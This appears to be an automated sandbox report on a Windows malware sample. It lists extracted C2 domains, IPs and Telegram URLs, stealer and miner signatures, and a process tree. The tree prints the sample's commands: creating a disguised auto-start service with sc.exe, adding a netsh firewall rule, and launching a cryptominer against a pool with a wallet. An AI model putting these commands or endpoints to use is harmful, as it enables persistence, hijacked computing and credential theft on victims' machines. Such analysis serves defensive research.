Overview

overview

10

Static

static

883233a1ae...3a.exe

windows7_x64

10

883233a1ae...3a.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    27-09-2021 08:26

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Report Analysis Logs

General

  • Target

    883233a1ae141a887d763b4cee1fed3a.exe

  • Size

    135KB

  • MD5

    883233a1ae141a887d763b4cee1fed3a

  • SHA1

    265cbafce6bd225dff0f3dd4e2792cd5e55ae677

  • SHA256

    948efd6ebccc98309252dee5d98879890e691fc416e6c3e969190f1273f4d61e

  • SHA512

    ac35bec37f6d011d4fff0cc32a4fbb7d4a6400f2323dbea0f49eefa099b056db9f16e376c8725d0e6edf7beb512edf111970fa993ca611200c6067651de5e546

Score
10/10
arkeichinese_generic_botnetraccoonredlinesmokeloadertofseexmriga72c96f6762e4258a13dee8bc0dd14557df18467b2f2e53f9e27f901d453d8f6fbafe1b4d5266bb7blisskarmabackdoorbotnetdiscoveryevasioninfostealerminerpersistencespywarestealerthemidatrojan

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://naghenrietti1.top/

http://kimballiett2.top/

http://xadriettany3.top/

http://jebeccallis4.top/

http://nityanneron5.top/

http://umayaniela6.top/

http://lynettaram7.top/

http://sadineyalas8.top/

http://geenaldencia9.top/

http://aradysiusep10.top/
rc4.i32
rc4.i32

Extracted

Family

redline

C2

92.246.89.6:38437

Extracted

Family

raccoon

Botnet

a72c96f6762e4258a13dee8bc0dd14557df18467

Attributes
  • url4cnc

    https://t.me/h_wacel1new_1

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

b2f2e53f9e27f901d453d8f6fbafe1b4d5266bb7

Attributes
  • url4cnc

    https://t.me/hcdrom1

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

karma

C2

94.103.9.133:39323

Extracted

Family

redline

Botnet

Bliss

C2

185.237.98.178:62607

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

    stealerarkei
  • Generic Chinese Botnet

    A botnet originating from China which is currently unnamed publicly.

    botnetchinese_generic_botnet
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 7 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Arkei Stealer Payload 1 IoCs
    stealer
  • Chinese Botnet Payload 1 IoCs
    botnet
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Executes dropped EXE 15 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 63 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\883233a1ae141a887d763b4cee1fed3a.exe
    "C:\Users\Admin\AppData\Local\Temp\883233a1ae141a887d763b4cee1fed3a.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1540
    • C:\Users\Admin\AppData\Local\Temp\883233a1ae141a887d763b4cee1fed3a.exe
      "C:\Users\Admin\AppData\Local\Temp\883233a1ae141a887d763b4cee1fed3a.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1596
  • C:\Users\Admin\AppData\Local\Temp\1A72.exe
    C:\Users\Admin\AppData\Local\Temp\1A72.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1164
    • C:\Users\Admin\AppData\Local\Temp\1A72.exe
      C:\Users\Admin\AppData\Local\Temp\1A72.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1508
  • C:\Users\Admin\AppData\Local\Temp\1D02.exe
    C:\Users\Admin\AppData\Local\Temp\1D02.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1140
    • C:\Users\Admin\AppData\Local\Temp\1D02.exe
      C:\Users\Admin\AppData\Local\Temp\1D02.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:368
  • C:\Users\Admin\AppData\Local\Temp\2250.exe
    C:\Users\Admin\AppData\Local\Temp\2250.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:764
  • C:\Users\Admin\AppData\Local\Temp\2F4C.exe
    C:\Users\Admin\AppData\Local\Temp\2F4C.exe
    1⤵
    • Executes dropped EXE
    PID:1964
  • C:\Users\Admin\AppData\Local\Temp\395B.exe
    C:\Users\Admin\AppData\Local\Temp\395B.exe
    1⤵
    • Executes dropped EXE
    PID:1828
  • C:\Users\Admin\AppData\Local\Temp\4213.exe
    C:\Users\Admin\AppData\Local\Temp\4213.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:1696
  • C:\Users\Admin\AppData\Local\Temp\4520.exe
    C:\Users\Admin\AppData\Local\Temp\4520.exe
    1⤵
    • Executes dropped EXE
    PID:1540
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1540 -s 720
      2⤵
      • Loads dropped DLL
      • Program crash
      • Suspicious use of AdjustPrivilegeToken
      PID:2484
  • C:\Users\Admin\AppData\Local\Temp\47EF.exe
    C:\Users\Admin\AppData\Local\Temp\47EF.exe
    1⤵
    • Executes dropped EXE
    PID:948
    • C:\Users\Admin\AppData\Local\Temp\SindonsWelfare_2021-09-26_15-02.exe
      "C:\Users\Admin\AppData\Local\Temp\SindonsWelfare_2021-09-26_15-02.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1156
    • C:\Users\Admin\AppData\Local\Temp\SolanumsYoghurt_2021-09-26_14-52.exe
      "C:\Users\Admin\AppData\Local\Temp\SolanumsYoghurt_2021-09-26_14-52.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1612
    • C:\Users\Admin\AppData\Local\Temp\fbf.exe
      "C:\Users\Admin\AppData\Local\Temp\fbf.exe"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      PID:1272
  • C:\Users\Admin\AppData\Local\Temp\4C34.exe
    C:\Users\Admin\AppData\Local\Temp\4C34.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1412
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nqhjswvm\
      2⤵
        PID:1648
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tadbccsg.exe" C:\Windows\SysWOW64\nqhjswvm\
        2⤵
          PID:1940
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nqhjswvm binPath= "C:\Windows\SysWOW64\nqhjswvm\tadbccsg.exe /d\"C:\Users\Admin\AppData\Local\Temp\4C34.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:612
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description nqhjswvm "wifi internet conection"
            2⤵
              PID:1400
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start nqhjswvm
              2⤵
                PID:1692
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1044
              • C:\Windows\SysWOW64\nqhjswvm\tadbccsg.exe
                C:\Windows\SysWOW64\nqhjswvm\tadbccsg.exe /d"C:\Users\Admin\AppData\Local\Temp\4C34.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:1636
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:1420
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1380
              • C:\Program Files (x86)\Microsoft Ouigga\Uuuocai.exe
                "C:\Program Files (x86)\Microsoft Ouigga\Uuuocai.exe"
                1⤵
                • Drops file in System32 directory
                • Modifies data under HKEY_USERS
                • Suspicious use of SetWindowsHookEx
                PID:2344
                • C:\Program Files (x86)\Microsoft Ouigga\Uuuocai.exe
                  "C:\Program Files (x86)\Microsoft Ouigga\Uuuocai.exe" Win7
                  2⤵
                  • Drops file in System32 directory
                  • Modifies data under HKEY_USERS
                  • Suspicious use of SetWindowsHookEx
                  PID:2548

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • memory/368-80-0x0000000000400000-0x0000000000422000-memory.dmp

                Filesize

                136KB

                Download

              • memory/368-87-0x0000000001FF0000-0x0000000001FF1000-memory.dmp

                Filesize

                4KB

                Download

              • memory/368-83-0x0000000000400000-0x0000000000422000-memory.dmp

                Filesize

                136KB

                Download

              • memory/764-71-0x00000000009F0000-0x00000000009F1000-memory.dmp

                Filesize

                4KB

                Download

              • memory/764-73-0x0000000004D60000-0x0000000004D61000-memory.dmp

                Filesize

                4KB

                Download

              • memory/948-115-0x0000000000970000-0x0000000000971000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1140-65-0x0000000001F30000-0x0000000001F31000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1140-63-0x00000000000F0000-0x00000000000F1000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1156-149-0x00000000001C0000-0x00000000001F0000-memory.dmp

                Filesize

                192KB

                Download

              • memory/1156-155-0x0000000004773000-0x0000000004774000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1156-152-0x0000000004772000-0x0000000004773000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1156-151-0x0000000004771000-0x0000000004772000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1156-147-0x0000000001F90000-0x0000000001FAE000-memory.dmp

                Filesize

                120KB

                Download

              • memory/1156-146-0x0000000001DF0000-0x0000000001E0F000-memory.dmp

                Filesize

                124KB

                Download

              • memory/1156-156-0x0000000004774000-0x0000000004776000-memory.dmp

                Filesize

                8KB

                Download

              • memory/1156-150-0x0000000000400000-0x00000000004C5000-memory.dmp

                Filesize

                788KB

                Download

              • memory/1356-94-0x00000000040B0000-0x00000000040C6000-memory.dmp

                Filesize

                88KB

                Download

              • memory/1356-57-0x0000000002B30000-0x0000000002B46000-memory.dmp

                Filesize

                88KB

                Download

              • memory/1380-164-0x00000000001D0000-0x00000000002C1000-memory.dmp

                Filesize

                964KB

                Download

              • memory/1412-124-0x0000000000400000-0x00000000004AD000-memory.dmp

                Filesize

                692KB

                Download

              • memory/1412-123-0x0000000000220000-0x0000000000233000-memory.dmp

                Filesize

                76KB

                Download

              • memory/1420-135-0x0000000000080000-0x0000000000095000-memory.dmp

                Filesize

                84KB

                Download

              • memory/1420-139-0x0000000000080000-0x0000000000095000-memory.dmp

                Filesize

                84KB

                Download

              • memory/1540-56-0x0000000000230000-0x0000000000239000-memory.dmp

                Filesize

                36KB

                Download

              • memory/1540-117-0x0000000000380000-0x00000000003AD000-memory.dmp

                Filesize

                180KB

                Download

              • memory/1540-118-0x0000000000400000-0x000000000044D000-memory.dmp

                Filesize

                308KB

                Download

              • memory/1596-55-0x0000000075A71000-0x0000000075A73000-memory.dmp

                Filesize

                8KB

                Download

              • memory/1596-53-0x0000000000400000-0x0000000000409000-memory.dmp

                Filesize

                36KB

                Download

              • memory/1612-157-0x0000000001F40000-0x0000000001F63000-memory.dmp

                Filesize

                140KB

                Download

              • memory/1612-158-0x0000000002641000-0x0000000002642000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1612-163-0x0000000002644000-0x0000000002646000-memory.dmp

                Filesize

                8KB

                Download

              • memory/1612-159-0x00000000020C0000-0x00000000020E2000-memory.dmp

                Filesize

                136KB

                Download

              • memory/1612-161-0x0000000002643000-0x0000000002644000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1612-153-0x0000000000230000-0x0000000000267000-memory.dmp

                Filesize

                220KB

                Download

              • memory/1612-160-0x0000000002642000-0x0000000002643000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1612-154-0x0000000000400000-0x00000000004CB000-memory.dmp

                Filesize

                812KB

                Download

              • memory/1636-138-0x0000000000400000-0x00000000004AD000-memory.dmp

                Filesize

                692KB

                Download

              • memory/1696-106-0x0000000000CE0000-0x0000000000CE1000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1696-111-0x0000000004F00000-0x0000000004F01000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1828-95-0x00000000000F0000-0x00000000000F1000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1828-101-0x0000000001050000-0x00000000017E3000-memory.dmp

                Filesize

                7.6MB

                Download

              • memory/1828-97-0x0000000000120000-0x0000000000121000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1828-99-0x0000000000140000-0x0000000000141000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1828-96-0x0000000000100000-0x0000000000101000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1828-100-0x0000000000150000-0x0000000000151000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1828-98-0x0000000000130000-0x0000000000131000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1964-93-0x0000000000400000-0x00000000004F1000-memory.dmp

                Filesize

                964KB

                Download

              • memory/1964-92-0x0000000001D00000-0x0000000001D90000-memory.dmp

                Filesize

                576KB

                Download

              • memory/2344-171-0x0000000000400000-0x00000000004C4000-memory.dmp

                Filesize

                784KB

                Download

              • memory/2344-170-0x00000000002C0000-0x000000000037C000-memory.dmp

                Filesize

                752KB

                Download

              • memory/2344-173-0x0000000010000000-0x0000000010018000-memory.dmp

                Filesize

                96KB

                Download

              • memory/2484-180-0x0000000000460000-0x0000000000461000-memory.dmp

                Filesize

                4KB

                Download